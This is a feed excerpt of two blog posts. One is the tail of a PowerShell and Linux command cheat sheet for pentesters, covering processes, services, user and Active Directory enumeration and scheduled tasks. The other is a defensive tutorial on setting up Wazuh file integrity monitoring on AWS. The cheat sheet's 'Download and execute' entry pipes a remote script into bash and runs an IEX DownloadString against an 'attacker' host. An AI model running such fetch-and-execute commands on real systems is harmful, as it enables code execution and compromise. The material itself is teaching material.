(Get-Date).AddDays(-7)}</pre><pre># Find and delete<br>find . -name &quot;*.tmp&quot; -delete<br>Get-ChildItem -Filter *.tmp -Recurse | Remove-Item</pre><h3>⚡ Processes &amp; Management</h3><pre># List all processes<br>ps aux<br>Get-Process</pre><pre># Find process by name<br>ps aux | grep python<br>Get-Process python</pre><pre># Get process details<br>ps -ef<br>Get-Process | Select-Object Name, CPU, Memory</pre><pre># Kill process by name<br>pkill python<br>Stop-Process -Name python</pre><pre># Kill process by PID<br>kill 1234<br>Stop-Process -Id 1234</pre><pre># Force kill<br>kill -9 1234<br>Stop-Process -Id 1234 -Force</pre><pre># Get process by port<br>netstat -tlnp<br>Get-NetTCPConnection | Where-Object {$_.LocalPort -eq 8080}</pre><pre># Get process memory usage<br>ps aux --sort=-%mem<br>Get-Process | Sort-Object Memory -Descending</pre><h3>🔧 Services</h3><pre># List all services<br>systemctl list-units --type=service<br>Get-Service</pre><pre># List running services<br>systemctl list-units --type=service --state=running<br>Get-Service | Where-Object {$_.Status -eq &quot;Running&quot;}</pre><pre># Get service status<br>systemctl status ssh<br>Get-Service ssh</pre><pre># Start service<br>systemctl start ssh<br>Start-Service ssh</pre><pre># Stop service<br>systemctl stop ssh<br>Stop-Service ssh</pre><pre># Restart service<br>systemctl restart ssh<br>Restart-Service ssh</pre><pre># Enable service (auto-start)<br>systemctl enable ssh<br>Set-Service ssh -StartupType Automatic</pre><pre># Disable service<br>systemctl disable ssh<br>Set-Service ssh -StartupType Disabled</pre><pre># Find service by name<br>Get-Service | Where-Object {$_.Name -like &quot;*sql*&quot;}</pre><h3>🌐 Networking (Pentester Gold)</h3><pre># Show IP config<br>ip addr<br>ifconfig<br>Get-NetIPConfiguration</pre><pre># Show specific adapter<br>ip addr show eth0<br>Get-NetIPConfiguration -InterfaceAlias Ethernet</pre><pre># Ping host<br>ping google.com<br>Test-NetConnection google.com</pre><pre># Check specific port<br>netstat -tuln | grep 443<br>Test-NetConnection google.com -Port 443</pre><pre># List all connections<br>netstat -tuln<br>Get-NetTCPConnection</pre><pre># List listening ports<br>netstat -tuln | grep LISTEN<br>Get-NetTCPConnection -State Listen</pre><pre># Get connections by port<br>netstat -tuln | grep 8080<br>Get-NetTCPConnection -LocalPort 8080</pre><pre># Get DNS servers<br>cat /etc/resolv.conf<br>Get-DnsClientServerAddress</pre><pre># Flush DNS cache<br>sudo systemctl restart systemd-resolved<br>Clear-DnsClientCache</pre><pre># Get network adapters<br>ip link show<br>Get-NetAdapter</pre><pre># Enable adapter<br>Enable-NetAdapter -Name Ethernet</pre><pre># Disable adapter<br>Disable-NetAdapter -Name Ethernet</pre><h3>📥 Download &amp; Web Requests</h3><pre># Download file (wget)<br>wget http://example.com/file.exe<br>Invoke-WebRequest http://example.com/file.exe -OutFile file.exe</pre><pre># Download file (curl)<br>curl -O <a href="http://example.com/file.exe">http://example.com/file.exe</a><br>Invoke-WebRequest <a href="http://example.com/file.exe">http://example.com/file.exe</a> -OutFile file.exe</pre><pre># Download with rename<br>curl <a href="http://example.com/file.exe">http://example.com/file.exe</a> -o output.exe<br>Invoke-WebRequest <a href="http://example.com/file.exe">http://example.com/file.exe</a> -OutFile output.exe</pre><pre># Download and execute<br>curl <a href="http://example.com/shell.sh">http://example.com/shell.sh</a> | bash<br>powershell -c &quot;IEX(New-Object Net.WebClient).DownloadString(&#39;http://attacker/shell.ps1&#39;)&quot;</pre><pre># Get webpage content<br>curl <a href="http://example.com/">http://example.com</a><br>Invoke-WebRequest <a href="http://example.com/">http://example.com</a></pre><pre># POST request<br>curl -X POST -d &quot;data&quot; <a href="http://example.com/">http://example.com</a><br>Invoke-WebRequest -Method POST -Body &quot;data&quot; -Uri <a href="http://example.com/">http://example.com</a></pre><h3>🧠 System Enumeration (Essential for Pentesting)</h3><pre># Current user<br>whoami<br>[Environment]::UserName</pre><pre># User domain<br>[System.Security.Principal.WindowsIdentity]::GetCurrent().Name</pre><pre># Hostname<br>hostname<br>[System.Net.Dns]::GetHostName()</pre><pre># System info<br>uname -a<br>Get-ComputerInfo</pre><pre># OS version<br>cat /etc/os-release<br>[System.Environment]::OSVersion</pre><pre># CPU info<br>lscpu<br>Get-WmiObject Win32_Processor</pre><pre># RAM info<br>free -h<br>Get-WmiObject Win32_PhysicalMemory</pre><pre># Uptime<br>uptime<br>Get-WmiObject Win32_OperatingSystem | Select-Object @{Name=&quot;Uptime&quot;;Expression={(New-TimeSpan -Start $_.LastBootUpTime).Days}}</pre><pre># Disk usage<br>df -h<br>Get-Volume</pre><pre># List users<br>cat /etc/passwd<br>Get-LocalUser</pre><pre># List groups<br>cat /etc/group<br>Get-LocalGroup</pre><pre># Get user details<br>id username<br>Get-LocalUser username</pre><h3>👥 User Management (Critical for Pentesters)</h3><pre># List all local users<br>Get-LocalUser</pre><pre># Get specific user<br>Get-LocalUser -Name username</pre><pre># Get user properties<br>Get-LocalUser username | Select-Object *</pre><pre># Get user SID<br>Get-LocalUser username | Select-Object SID</pre><pre># List all local groups<br>Get-LocalGroup</pre><pre># Get group members<br>Get-LocalGroupMember -Group Administrators</pre><pre># Get group members (detailed)<br>Get-LocalGroupMember Administrators | Select-Object Name, PrincipalSource</pre><pre># Check if user is admin<br>Get-LocalGroupMember Administrators | Where-Object {$_.Name -like &quot;*username*&quot;}</pre><pre># Get current user privileges<br>whoami /priv</pre><pre># Get current user groups<br>whoami /groups</pre><pre># List users with admin rights<br>Get-LocalGroupMember Administrators</pre><pre># Get user last login<br>Get-LocalUser | Select-Object Name, LastLogon</pre><pre># Get disabled users<br>Get-LocalUser | Where-Object {$_.Enabled -eq $false}</pre><pre># Get enabled users<br>Get-LocalUser | Where-Object {$_.Enabled -eq $true}</pre><h3>🔐 Active Directory (Domain Enumeration)</h3><p>If you’re on a domain-connected Windows machine:</p><pre># Get current domain<br>[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()</pre><pre># Get domain users<br>Get-ADUser -Filter *</pre><pre># Get specific user<br>Get-ADUser -Identity username</pre><pre># Get user details<br>Get-ADUser username -Properties *</pre><pre># Get users in group<br>Get-ADGroupMember &quot;Domain Admins&quot;</pre><pre># List all domain groups<br>Get-ADGroup -Filter *</pre><pre># Get domain admins<br>Get-ADGroupMember &quot;Domain Admins&quot; | Select-Object Name</pre><pre># Get group members<br>Get-ADGroupMember -Identity &quot;GroupName&quot;</pre><pre># Find users by name<br>Get-ADUser -Filter {Name -like &quot;*admin*&quot;}</pre><pre># Get users (last login)<br>Get-ADUser -Filter * -Properties LastLogonDate | Sort-Object LastLogonDate -Descending</pre><pre># Get inactive users<br>Get-ADUser -Filter {LastLogonDate -lt (Get-Date).AddDays(-90)}</pre><pre># Get password policy<br>Get-ADDefaultDomainPasswordPolicy</pre><pre># List all computers<br>Get-ADComputer -Filter *</pre><pre># Get computer details<br>Get-ADComputer ComputerName -Properties *</pre><pre># Get domain controllers<br>Get-ADDomainController -Filter *</pre><pre># Find user by SID<br>Get-ADUser -Filter {ObjectSid -eq &quot;S-1-5-21...&quot;}</pre><pre># Get all user attributes<br>Get-ADUser username -Properties * | Select-Object *</pre><pre># List groups with user<br>Get-ADUser username -Properties memberOf | Select-Object -ExpandProperty memberOf</pre><pre># Find disabled users in domain<br>Get-ADUser -Filter {Enabled -eq $false}</pre><h3>⏰ Scheduled Tasks (Privilege Escalation Vectors)</h3><pre># List all scheduled tasks<br>Get-ScheduledTask</pre><pre># Get task details<br>Get-ScheduledTask -TaskName TaskName | Select-Object *</pre><pre># Get task state<br>Get-ScheduledTask | Select-Object TaskName, State</pre><pre># Get task trigger<br>Get-ScheduledTask -TaskName TaskName | Select-Object -ExpandProperty Triggers</pre><pre># Get task action<br>Get-ScheduledTask -TaskName TaskName | Select-Object -ExpandProperty Actions</pre><pre># Get enabled tasks<br>Get-ScheduledTask | Where-Object {$_.State -eq &quot;Ready&quot;}</pre><pre># Get disabled tasks<br>Get-ScheduledTask | Where-Object {$_.State -eq &quot;Disabled&quot;}</pre><pre># Find task by user<br>Get-ScheduledTask | Where-Object {$_.Principal.UserId -like &quot;*username*&quot;}</pre><pre># Get system scheduled tasks<br>Get-ScheduledTask -TaskPath &quot;\Microsoft\Windows\*&quot; | Select-Object TaskName, State</pre><pre># Get task last run time<br>Get-ScheduledTaskInfo | Where-Object {$_.LastRunTime -gt (Get-Date).AddDays(-7)}</pre><pre># Run scheduled task<br>Start-ScheduledTask -TaskName TaskName</pre><h3>🔒 Permissions &amp; Privileges</h3><pre># Get current user privileges<br>whoami /priv</pre><pre># Get current user groups<br>whoami /groups</pre><pre># Check if admin<br>[Security.Principal.WindowsIdentity]::GetCurrent().Groups -contains &quot;S-1-5-32-544&quot;</pre><pre># Get file permissions<br>Get-Acl file.txt</pre><pre># Get folder permissions<br>Get-Acl C:\folder</pre><pre># List file permissions<br>Get-Acl file.txt | Select-Object -ExpandProperty Access</pre><pre># Get user from SID<br>(New-Object System.Security.Principal.SecurityIdentifier(&quot;S-1-5-21...&quot;)).Translate([System.Security.Principal.NTAccount])</pre><pre># Get all user SIDs<br>Get-LocalUser | Select-Object Name, SID</pre><pre># Check UAC status<br>Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\System | Select-Object -ExpandProperty EnableLUA</pre><h3>📊 Variables &amp; Scripting</h3><pre># Simple variable<br>$name = &quot;value&quot;<br>Write-Host $name</pre><pre># Loop (for)<br>for ($i=1; $i -le 5; $i++) {<br>  Write-Host $i<br>}</pre><pre># Loop (foreach)<br>foreach ($item in @(&quot;one&quot;, &quot;two&quot;, &quot;three&quot;)) {<br>  Write-Host $item<br>}</pre><pre># Condition (if/else)<br>if ($user -eq &quot;admin&quot;) {<br>  Write-Host &quot;You are admin&quot;<br>} else {<br>  Write-Host &quot;Not admin&quot;<br>}</pre><pre># Function<br>function Get-Info {<br>  param($ComputerName)<br>  Write-Host &quot;Getting info for $ComputerName&quot;<br>  Get-ComputerInfo<br>}</pre><pre>Get-Info -ComputerName &quot;SERVER01&quot;</pre><h3>🧪 Real World Examples</h3><p><strong>Find recently modified suspicious files:</strong></p><pre>Get-ChildItem -Path C:\ -Recurse -Filter *.exe | <br>  Where-Object {$_.LastWriteTime -gt (Get-Date).AddDays(-7)} | <br>  Select-Object FullName, LastWriteTime, Length</pre><p><strong>Check if a user is in the admin group:</strong></p><pre>$user = &quot;username&quot;<br>$admins = Get-LocalGroupMember Administrators | Select-Object -ExpandProperty Name<br>if ($admins -contains $user) {<br>  Write-Host &quot;$user is admin&quot;<br>} else {<br>  Write-Host &quot;$user is NOT admin&quot;<br>}</pre><p><strong>List all processes using more than 500MB RAM:</strong></p><pre>Get-Process | <br>  Where-Object {$_.Memory -gt 500MB} | <br>  Select-Object Name, Memory, CPU | <br>  Sort-Object Memory -Descending</pre><p><strong>Find all domain admin users:</strong></p><pre>Get-ADGroupMember &quot;Domain Admins&quot; | <br>  Select-Object Name, SamAccountName, ObjectClass</pre><p><strong>Check for recently accessed files:</strong></p><pre>Get-ChildItem -Path C:\Users -Recurse -Force | <br>  Where-Object {$_.LastAccessTime -gt (Get-Date).AddHours(-24)} | <br>  Select-Object FullName, LastAccessTime | <br>  Sort-Object LastAccessTime -Descending</pre><p><strong>Find running services that shouldn’t be running:</strong></p><pre>$suspicious = @(&quot;WinRM&quot;, &quot;VNC&quot;, &quot;TeamViewer&quot;, &quot;RDP&quot;)<br>Get-Service | <br>  Where-Object {$_.Status -eq &quot;Running&quot; -and $suspicious -contains $_.Name}</pre><p><strong>Enumerate all network connections:</strong></p><pre>Get-NetTCPConnection | <br>  Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort, State | <br>  Sort-Object RemotePort</pre><h3>Tab Completion Saved My Life</h3><p>One more thing: just press Tab. Like, a lot.</p><p>Type Get- and keep pressing Tab. Watch PowerShell suggest commands. That&#39;s how you discover what&#39;s available without memorizing.</p><p>Type Get-A and press Tab → Get-Acl Press Tab again → Get-ADComputer Press Tab again → Get-ADDefaultDomainPasswordPolicy</p><p>Within 30 minutes of Tab-pressing, you’ll see hundreds of commands. You won’t memorize them. You’ll just get familiar with them.</p><p>And that familiarity makes everything faster.</p><h3>Real Talk: Why This Actually Matters</h3><p>If you’re doing Windows pentesting or security work, PowerShell isn’t optional. It’s essential.</p><p>Active Directory enumeration? PowerShell. User privilege checking? PowerShell. Network enumeration? PowerShell. Lateral movement? PowerShell. Post-exploitation? PowerShell.</p><p>You can’t avoid it. So you might as well get comfortable now.</p><p>And the good news? You can get the basics and intermediate commands down in a few days.</p><p>It’s not about becoming a PowerShell expert overnight. It’s about getting comfortable enough to use it daily and figure things out as you go.</p><p>I’m still learning. Every time I face a new problem, I discover a new command or a better way to do something. But the foundation? That came quick.</p><p>Give it a try. Pick one section above. Run those commands. See what they return.</p><p>By day 3–4, you’ll understand why I’m not scared of PowerShell anymore.</p><p>You won’t be either. And then you’ll keep learning naturally as you use it.</p><p>That’s how it works. 😊</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e571c7790b13" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Setting Up Wazuh on AWS: Two EC2 Instances, Real-Time File Monitoring, and What Actually Went Wrong]]></title>
            <link>https://medium.com/@nikhilshakya0905/setting-up-wazuh-on-aws-two-ec2-instances-real-time-file-monitoring-and-what-actually-went-wrong-b491ef570622?source=rss-c82c46aa41ad------2</link>
            <guid isPermaLink="false">https://medium.com/p/b491ef570622</guid>
            <category><![CDATA[wazuh]]></category>
            <category><![CDATA[hands-on-tutorials]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[siem]]></category>
            <category><![CDATA[blue-team]]></category>
            <dc:creator><![CDATA[Nikhil Shakya]]></dc:creator>
            <pubDate>Sat, 18 Apr 2026 21:10:19 GMT</pubDate>
            <atom:updated>2026-04-18T21:10:19.478Z</atom:updated>
            <content:encoded><![CDATA[<p><em>A beginner-friendly walkthrough of Wazuh SIEM, EC2, Elastic IPs, and File Integrity Monitoring — told the way it actually happened.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZO7aVcyFcDZiZjkximTDyg.png" /></figure><p>Let me start with a question.</p><p>If someone logged into your Linux server right now and quietly added a file to /etc — a directory where critical system configurations live — <strong>would you know?</strong></p><p>Not in an hour. Not after a scheduled scan. <em>Right now.</em> Within seconds.</p><p>Before this project, I wouldn’t have known. And honestly, that bothered me.</p><p>So I built something that would tell me. I set up <strong>Wazuh</strong> — a free, open-source security monitoring platform — on two AWS EC2 instances. I ran it. I broke it. I fixed it. And eventually, I watched my own dashboard catch my own simulated “attack” in real time.</p><p>This blog is that whole story. The setup, the confusion, the breakthrough, and everything I learned along the way. If you’re a student, a developer curious about security, or someone who just wants to understand how the big companies monitor their infrastructure, this one’s for you.</p><h3>First, Let Me Explain What I Was Actually Building</h3><p>Before any terminal commands, let me make sure the idea is clear. Because I’ve read tutorials that jump straight into commands without explaining the “why,” and that’s how you follow steps blindly without learning anything.</p><h3>What is a SIEM?</h3><p><strong>SIEM</strong> stands for Security Information and Event Management. It’s a system that collects logs and events from all your servers, analyzes them in real time, and raises alerts when something suspicious happens.</p><p>Think of it like a <strong>security camera system</strong> for your servers. Your cameras (agents) record everything happening on each machine. The footage goes to a central DVR (the manager). And you watch it all from a monitor (the dashboard).</p><p>Without a SIEM, you’d have to SSH into each server manually, read logs line by line, and hope you notice something suspicious. With a SIEM, you get notified the moment something worth noticing happens.</p><h3>What is Wazuh?</h3><p><strong>Wazuh</strong> is one of the most popular open-source SIEMs in the world. It’s used by companies, governments, and security researchers. And it’s completely free.</p><p>It has three core components that work together:</p><ul><li><strong>Wazuh Manager</strong> — the brain. Receives events from all agents, runs rules, and generates alerts.</li><li><strong>Wazuh Indexer</strong> — stores all the data (built on OpenSearch).</li><li><strong>Wazuh Dashboard</strong> — the visual interface where you see everything happening in real time.</li></ul><p>You can install all three on one machine, which is what I did. That machine is the <strong>Manager</strong>.</p><p>Then, on every server you want to monitor, you install a lightweight <strong>Wazuh Agent</strong>. The agent watches the machine and ships events to the manager.</p><h3>What I Specifically Wanted to Detect</h3><p>I wanted <strong>File Integrity Monitoring</strong> — also called FIM. This means: anytime a file on my server gets created, modified, or deleted, I want an instant alert with:</p><ul><li>📁 Which file changed</li><li>🔨 What happened to it (added/modified/deleted)</li><li>👤 Which user did it</li><li>🖥️ Which process or command was used</li><li>🕐 Exact timestamp</li></ul><p>This is what security teams use to detect attackers planting backdoors, changing config files, or trying to cover their tracks.</p><p>Now let’s build it.</p><h3>The Infrastructure: Two EC2 Instances on AWS</h3><p>I used <strong>Amazon Web Services (AWS)</strong> to host everything. Specifically, I launched two <strong>EC2 instances</strong> — EC2 is basically AWS’s service for renting virtual machines (servers) in the cloud.</p><p>Here’s what I created:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1tcPOTAwjXqzhtO-0__u6g.png" /></figure><p><em>This is the AWS EC2 console showing both instances. You can see Wazuh-Manager (the larger m7i-flex.large instance) with its Elastic IP 65.1.25.91, and Agent-one (the smaller t3.micro) right below it.</em></p><h3>Instance 1: Wazuh-Manager</h3><p>This is the machine that runs the full Wazuh stack — the manager, the indexer, and the dashboard.</p><p>I chose an <strong>m7i-flex.large</strong> instance type. This matters. The Wazuh stack is memory-hungry, especially the indexer. Running it on a tiny instance will get it killed by the system the moment it runs out of RAM. I needed at least 4GB of RAM, and the m7i-flex.large gave me more than enough headroom.</p><p><strong>Operating system:</strong> Ubuntu 22.04 LTS <strong>Region:</strong> ap-south-1 (Mumbai)</p><h3>Instance 2: Agent-one</h3><p>This is the machine I wanted to <em>monitor</em> — the endpoint.</p><p>I chose a <strong>t3.micro</strong> for this one. It’s small, cheap (free-tier eligible), and perfect for a lab setup. The agent software is lightweight and doesn’t need much.</p><p><strong>Operating system:</strong> Ubuntu 22.04 LTS (same as manager)</p><h3>Telling the Instances Who Can Talk to Them: Security Groups</h3><p>Before setting up anything on the instances, I had to configure the <strong>Security Group</strong> — AWS’s built-in firewall that controls which network traffic is allowed in and out.</p><p>Think of a Security Group like a <strong>bouncer at a club</strong>. Every connection that tries to reach your instance has to pass the bouncer first. You tell the bouncer: “Let in port 443 (the dashboard). Let in port 1514 (agents). Block everything else.”</p><p>For the Wazuh-Manager, I opened these inbound ports:</p><p>Port Protocol Why It’s Needed 22 TCP SSH — so I can log in and run commands 80 TCP HTTP — redirects visitors to the HTTPS dashboard 443 TCP HTTPS — the actual Wazuh web dashboard 1514 TCP + UDP Agents send their security events through this port 1515 TCP + UDP Agents use this to register and enroll with the manager</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lgoFxCmOl-O-s6hj1QR4dA.png" /></figure><p><em>The AWS security group inbound rules for the Wazuh-Manager. You can see all seven rules — SSH (22), HTTP (80), HTTPS (443), and Wazuh agent communication ports (1514 and 1515 over both TCP and UDP), all open from 0.0.0.0/0 for this lab.</em></p><blockquote><strong><em>A note on 0.0.0.0/0:</em></strong><em> This means “allow from anywhere on the internet.” That’s fine for a lab you’re going to tear down. For a real production system, you’d restrict port 22 to your own IP and ports 1514/1515 to only your agent IPs.</em></blockquote><h3>Installing Wazuh on the Manager</h3><p>I connected to the Wazuh-Manager instance using <strong>EC2 Instance Connect</strong> (AWS’s browser-based SSH — no key file needed) and started the installation.</p><p><strong>Step 1 — Update the system</strong></p><p>Always do this first. A fresh EC2 instance might have outdated packages:</p><pre>sudo apt update &amp;&amp; sudo apt upgrade -y</pre><p><strong>Step 2 — Install helper tools</strong></p><pre>sudo apt install curl apt-transport-https unzip wget -y</pre><p><strong>Step 3 — Download the Wazuh installer</strong></p><p>Wazuh provides an all-in-one installation script that handles everything automatically:</p><pre>curl -sO https://packages.wazuh.com/4.7/wazuh-install.sh<br>chmod +x wazuh-install.sh</pre><p><strong>Step 4 — Run the installer</strong></p><pre>sudo ./wazuh-install.sh -a</pre><p>The -a flag means &quot;all-in-one.&quot; One command installs the manager, the indexer, and the dashboard together.</p><p>This takes about 5–10 minutes. Don’t touch anything while it runs.</p><p>When it finishes, it prints your login credentials:</p><pre>You can access the web interface at https://&lt;your-ip&gt;<br>    User: admin<br>    Password: XXXXXXXXXXXX</pre><p><strong>Save that password immediately.</strong> It won’t be shown again.</p><p><strong>Step 5 — Verify the three services are running</strong></p><pre>sudo systemctl status wazuh-manager<br>sudo systemctl status wazuh-indexer<br>sudo systemctl status wazuh-dashboard</pre><p>All three should show active (running) in green. If they are, open your browser and go to https://65.1.25.91. You&#39;ll see the Wazuh login page. Log in with admin and your generated password.</p><p>Your SIEM is live. Now let’s connect an agent to it.</p><h3>Installing the Agent on Agent-one</h3><p>I switched over to the Agent-one instance and ran the agent installer:</p><pre>curl -sO https://packages.wazuh.com/4.x/wazuh-agent.sh<br>sudo bash wazuh-agent.sh</pre><p>Once installed, the agent needs to know where its manager is. I opened the agent’s configuration file:</p><pre>sudo nano /var/ossec/etc/ossec.conf</pre><p>And set the manager’s IP address:</p><pre>&lt;server&gt;<br>  &lt;address&gt;65.1.25.91&lt;/address&gt;<br>&lt;/server&gt;</pre><p>Then the agent started:</p><pre>sudo systemctl enable wazuh-agent<br>sudo systemctl start wazuh-agent</pre><p>Back on the manager, I ran:</p><pre>sudo /var/ossec/bin/agent_control -l</pre><p>And it showed Agent-one with status: <strong>Active</strong>. ✅</p><p>The agent appeared in the Wazuh dashboard — ID 001, IP 172.31.43.54, running Wazuh v4.7.5, status active.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ui0MUUozwnnU3aMZE0BTSQ.png" /></figure><p><em>The Wazuh dashboard for Agent-one after enrollment. You can see the agent ID (001), its active status, IP address (172.31.43.54), Wazuh version (v4.7.5), and the overview panels — MITRE ATT&amp;CK top tactics, compliance chart, FIM recent events, and SCA scan results. This is everything Wazuh already detected just from the agent connecting.</em></p><h3>The Problem Nobody Warned Me About</h3><p>Here’s where things went sideways. And I’m giving this its own section because it wasted hours of my time and I want to save you from the same frustration.</p><p>I had everything working. Agent enrolled, events flowing, dashboard looking great.</p><p>Then I stopped both instances for the night (no point paying for idle EC2 time).</p><p>The next morning, I started them back up. Opened the dashboard.</p><p><strong>Agent-one showed as “Unknown.”</strong></p><p>I thought I’d made a mistake. I re-enrolled the agent. It worked again. Stopped instances. Started them. Unknown again.</p><p>This happened three times before I understood what was going on.</p><h3>Why This Happens: How AWS IP Addresses Work</h3><p>When you stop and start an EC2 instance, <strong>AWS assigns it a brand new public IP address</strong>. The old one is released back into the pool.</p><p>So here’s what was happening:</p><pre>Night 1:  Manager&#39;s public IP = 13.233.177.4<br>          Agent config says: &quot;talk to 13.233.177.4&quot;  ✅ Works fine</pre><pre>Morning:  Manager restarts → gets NEW IP = 65.1.25.91<br>          Agent config still says: &quot;talk to 13.233.177.4&quot;<br>          That IP no longer exists ❌ Agent can&#39;t find manager<br>          Dashboard shows: &quot;Unknown&quot;</pre><p>The agent wasn’t broken. The manager wasn’t broken. They simply couldn’t find each other because the address had changed.</p><h3>The Fix: Elastic IP (EIP)</h3><p>An <strong>Elastic IP</strong> is a static public IP address that AWS reserves specifically for you. Unlike the regular public IP (which changes on every restart), an Elastic IP stays the same — permanently — until you manually release it.</p><p>It’s free as long as it’s attached to a running instance. And it solves this problem completely.</p><p>Here’s how I set it up:</p><ol><li>In the AWS Console, go to <strong>EC2 → Network &amp; Security → Elastic IPs</strong></li><li>Click <strong>Allocate Elastic IP address</strong></li><li>Click <strong>Associate Elastic IP address</strong></li><li>Select the Wazuh-Manager instance</li><li>Done</li></ol><p>My manager now permanently lives at 65.1.25.91. I updated the agent config once with this address. From that day on, no matter how many times I stopped and restarted the instances, the agent always found the manager.</p><blockquote><em>💡 </em><strong><em>The lesson here applies far beyond Wazuh.</em></strong><em> Any time you have a server that other services need to reach by address — whether it’s a SIEM manager, a VPN server, a database, an API endpoint — give it an Elastic IP. IPs changing silently is one of the most confusing failure modes in cloud infrastructure.</em></blockquote><h3>Making FIM Real-Time: Understanding the Default Limitation</h3><p>With the basic setup, Wazuh monitors files. But it does it on a schedule — by default, it scans periodically and reports what’s different since the last scan.</p><p>That’s like checking your security camera footage once a day instead of watching it live.</p><p>For real-time detection, I needed to upgrade the configuration in two ways:</p><p><strong>Real-time monitoring</strong> — instead of periodic scanning, Wazuh uses Linux’s built-in inotify system, which notifies the moment a file is touched. No delay, no polling, no waiting.</p><p><strong>whodata</strong> — this is what captures the <em>human element</em>. It tells you not just what file changed, but which user account caused the change and which command or program was used.</p><p>Getting whodata to work requires one extra piece: <strong>auditd</strong>.</p><h3>What is auditd?</h3><p>auditd is the Linux Audit Daemon. It&#39;s a kernel-level service built into Linux that records security-relevant events — including who accessed which file and what they did.</p><p>Without auditd running on the agent, Wazuh can detect that a file changed (FIM) but cannot answer the question “who did this?” With auditd running, Wazuh intercepts the audit logs and attaches user and process information to every file event.</p><p>Think of it this way:</p><ul><li><strong>FIM (syscheck)</strong> is the security camera — it sees the door open</li><li><strong>auditd</strong> is the badge reader next to the door — it records whose badge was used</li><li><strong>whodata</strong> is the integration layer — it combines both into one complete record</li></ul><h3>Configuring Real-Time FIM + whodata</h3><h3>On the Manager — Update the Configuration</h3><pre>sudo nano /var/ossec/etc/ossec.conf</pre><p>I replaced the &lt;syscheck&gt; section with this:</p><pre>&lt;syscheck&gt;<br>  &lt;disabled&gt;no&lt;/disabled&gt;</pre><pre>  &lt;!-- Scan every 60 seconds — fast for a lab --&gt;<br>  &lt;frequency&gt;60&lt;/frequency&gt;<br>  &lt;scan_on_start&gt;yes&lt;/scan_on_start&gt;</pre><pre>  &lt;!-- Monitor /etc in real-time and capture who makes changes --&gt;<br>  &lt;directories realtime=&quot;yes&quot; whodata=&quot;yes&quot;&gt;/etc&lt;/directories&gt;</pre><pre>  &lt;!-- Monitor system binaries in real-time (no whodata needed here) --&gt;<br>  &lt;directories realtime=&quot;yes&quot;&gt;/usr/bin,/usr/sbin&lt;/directories&gt;</pre><pre>  &lt;!-- Report the actual content that changed inside files --&gt;<br>  &lt;report_changes&gt;yes&lt;/report_changes&gt;</pre><pre>  &lt;!-- Ignore these — they generate too much noise with no security value --&gt;<br>  &lt;ignore&gt;/var/log&lt;/ignore&gt;<br>  &lt;ignore type=&quot;sregex&quot;&gt;.log$|.swp$&lt;/ignore&gt;</pre><pre>  &lt;skip_nfs&gt;yes&lt;/skip_nfs&gt;<br>  &lt;skip_dev&gt;yes&lt;/skip_dev&gt;<br>  &lt;skip_proc&gt;yes&lt;/skip_proc&gt;<br>  &lt;skip_sys&gt;yes&lt;/skip_sys&gt;<br>&lt;/syscheck&gt;</pre><p>Let me explain the key lines:</p><ul><li>realtime=&quot;yes&quot; — switches from periodic scanning to instant inotify-based detection</li><li>whodata=&quot;yes&quot; — tells Wazuh to pull user and process info from the audit logs</li><li>/etc — the directory we&#39;re watching (this is where system configs live — a prime target for attackers)</li><li>The &lt;ignore&gt; lines — /var/log generates thousands of writes per hour; without ignoring it, you&#39;d drown in noise</li></ul><p>Restart the manager:</p><pre>sudo systemctl restart wazuh-manager</pre><h3>On the Agent — Install auditd</h3><pre>sudo apt update<br>sudo apt install auditd -y<br>sudo systemctl enable --now auditd</pre><p>Restart the agent:</p><pre>sudo systemctl restart wazuh-agent</pre><h3>Verify Everything Is Working</h3><p>On the agent:</p><pre>sudo systemctl status wazuh-agent   # Should say: active (running)<br>sudo systemctl status auditd        # Should say: active (running)</pre><p>On the manager:</p><pre>sudo /var/ossec/bin/agent_control -l<br># Should show Agent-one → Active</pre><p>All green. Real-time FIM with whodata is now live.</p><h3>The Test: Setting Off My Own Alarm</h3><p>Now for the most satisfying part of this entire project.</p><p>I connected to Agent-one and ran three commands that simulate exactly what a malicious actor might do when they gain access to a server:</p><pre># Step 1: Create a suspicious file in /etc<br>sudo touch /etc/fim_test</pre><pre># Step 2: Write something into it (simulating a backdoor being planted)<br>echo &quot;backdoor&quot; | sudo tee -a /etc/fim_test</pre><pre># Step 3: Try to delete the evidence<br>sudo rm /etc/fim_test</pre><p>Three actions. Create, modify, delete. All on a file inside /etc — a monitored directory.</p><p>I also simulated some SSH activity to test authentication monitoring:</p><pre>ssh fakeuser@localhost    # Fake user — auth failure<br>ssh localhost             # Another attempt — auth failure<br>ssh root                  # Attempted root login — DNS failure</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OQwfxoJOba1HoQbiDScGnw.png" /></figure><p><em>The EC2 Instance Connect terminal on the Wazuh-Manager machine, showing the SSH simulation commands being run — attempts to connect as fakeuser, localhost, and root. These are exactly the events that showed up seconds later in the dashboard as authentication failures.</em></p><p>Then I opened the Wazuh dashboard and watched.</p><h3>What the Dashboard Showed: The Results</h3><h3>Security Events Overview</h3><p>Within seconds, the Security Events dashboard for Agent-one updated:</p><ul><li><strong>Total alerts in 24 hours: 226</strong></li><li><strong>Level 12+ critical alerts: 0</strong> (nothing actually malicious — expected)</li><li><strong>Authentication failures: 10</strong> ← my SSH simulation</li><li><strong>Authentication successes: 9</strong> ← my sudo commands</li></ul><p>The top 5 alert types were exactly what I had triggered — SSH login attempts, file added to system, PAM session events, and file deleted.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GIK-1JJ8V0oxW9Romh0WDw.png" /></figure><p><em>Security Events Dashboard for Agent-one. The four headline numbers at the top (226 total, 0 critical, 10 auth failures, 9 auth successes) tell the story at a glance. Below: Alert groups evolution over time, top rule groups (sca, syslog, ossec, pam, sshd), and PCI DSS requirements breakdown.</em></p><figure><img alt="" 